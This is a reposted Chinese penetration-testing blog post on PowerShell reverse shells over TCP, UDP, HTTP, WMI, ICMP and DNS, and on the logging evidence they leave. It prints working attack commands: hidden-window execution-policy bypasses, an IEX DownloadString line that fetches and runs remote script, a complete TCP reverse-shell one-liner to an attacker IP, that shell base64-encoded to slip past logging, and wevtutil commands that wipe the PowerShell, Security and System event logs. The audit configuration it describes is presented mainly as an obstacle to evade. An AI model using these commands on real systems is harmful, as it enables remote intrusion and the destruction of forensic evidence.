Ψ小川Ψ dě Blog

Home » » Powershell各种反弹姿势以及取证(一)

Powershell各种反弹姿势以及取证(一)

0x00 前言

当我看了DM_牛发的http://zone.wooyun.org/content/20429,我的心情久久不能平静,这本应属于我的精华+WB,被他先发了,这娃真是可恶,可恨 :-),后来DM_牛又发了我一些资料让我学习,我就写了此文,刚入门,肯定有错误的地方,希望小伙伴们讨论,指出。

这次Labofapenetrationtester是以”week of powershell shell”的形式放出来的,就是每天一篇,一共五篇,分别是

  1. Day 1 Interactive PowerShell shells over TCP
  2. Day 2 Interactive PowerShell shells over UDP
  3. Day 3 Interactive PowerShell shells over HTTP/HTTPS
  4. Day 4 Interactive PowerShell shells with WMI
  5. Day 5 Interactive PowerShell shells over ICMP and DNS

0x01 前三天

第一到三天的TCP,UDP,HTTP,HTTPS的反弹方法为: 把相应的PS1脚本传到目标机上,然后执行

  1. #!bash
  2. D:\>PowerShell.exe ep Bypass File d:\InvokePowerShellUdp.ps1

就会走不同的协议出来,我这里演示的是UDP协议的,如图

要先监听端口,再反弹,否则会报错。

实际环境攻击的话,我常常还加-NoLogo -NonInteractive -NoProfile -WindowStyle Hidden参数,如下

  1. #!bash
  2. PowerShell.exe ExecutionPolicy Bypass NoLogo NonInteractive NoProfile WindowStyle Hidden File d:\InvokePowerShellUdp.ps1

另一种玩法是如果对方通外网,可以直接用IEX下载远程的PS1脚本回来执行,

  1. #!bash
  2. IEX (NewObject System.Net.Webclient).DownloadString(‘https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1’)

0x02 Day 4 – Interactive PowerShell Shells With WMI

这个通常只能用在内网,可以完全替代psexec了,作者这里利用命名空间来保存WMI执行结果,最后再取回来回显结果的思路非常赞,解决了WMI远程直接命令没有回显的问题。当然运行这个脚本需要管理员权限,并且要输入对方的账号。

0x03 Day 5 – Interactive PowerShell Shells Over ICMP And DNS

这个脚本运行,走ICMP协议的话,只需要注意一点,本地要先执行

  1. #!bash
  2. root@Kali:~/Desktop# sysctl -w net.ipv4.icmp_echo_ignore_all=1

否则反弹是无法用的,相信用过icmpsh的同学都知道。

后来有个老外BLOG说做如下配置,可以发现powershell攻击行为以及看到攻击代码

配置需求如下:

  1. 在C:\Windows\System32\WindowsPowerShell\v1.0目录下建立一个profiles.ps1

填写如下内容

  1. # !bash
  2. CD D:\ $LogCommandHealthEvent = $true $LogCommandLifecycleEvent = $true
  1. 右键点击profile.ps1,一次点击“安全”->“高级”->“审核”,点“编译”按钮,添加用户“everyone”,开启如图所示的审核项

  1. 因为这样做以后,日志会变的很大,为了编码回滚覆盖,相应的增加下日志的容量,如图

怎么能绕过这种防护呢?因为他加了对profile.ps1的文件审核,所以通过修改或者移动/删除这个文件的策略是走不通的。

当我们执行了反弹脚本后,可以在“事件查看器”里的“windows powershell”的事件类里,通过过滤eventID为500的事件看到细节

  1. #!bash
  2. CommandLine=$client = NewObject System.Net.Sockets.TCPClient(“10.18.180.10”,8888);$stream = $client.GetStream();[byte[]]$bytes = 0..255|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) ne 0){;$data = (NewObject TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | OutString );$sendback2 = $sendback + “PS “ + (pwd).Path + “> “;$sendbyte = ([text language=“.encoding”][/text]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

如图:

刚开始我想通过-noprofile选项因该可以绕过这个限制,实践后发现不行,还是会在日志里看到,然后我又配合用-enc选项进行base64编码,操作如下:

  1. #!bash
  2. powershell ep bypass NoLogo NonInteractive NoProfile enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQA4AC4AMQA4ADAALgAxADgAIgAsADQANAA0ADQAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgAyADUANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA0ACgANAAoA

发现虽然日志还是会有记录,但是不会在CommandLine=里看到脚本代码的细节了,多多少少算一个进步(此刻感觉自己屌屌的)。

当然,最绝对的办法,还是在目标上用完powershell后,来一下

  1. #!bash
  2. wevtutil cl “windows powershell”
  3. wevtutil cl “security”
  4. wevtutil cl “system”

当然如果权限低,就没办法了:(

用powershell做攻击的好处是显而易见的,省去了免杀(我测试的时候是这样的),方便传输(注入的时候),系统自带(win7以后就支持了)。但是即使管理员不像上面这样开启审核,默认还是有痕迹的,有机会下篇再细说。有喜欢渗透的小伙伴都加我讨论,自己搞太慢了。

 

转载自http://www.tiejiang.org/13208.html

No comment yet.

添加评论

? razz sad evil ! smile oops grin eek shock ??? cool lol mad twisted roll wink idea arrow neutral cry mrgreen mrgreen

7 + 2 =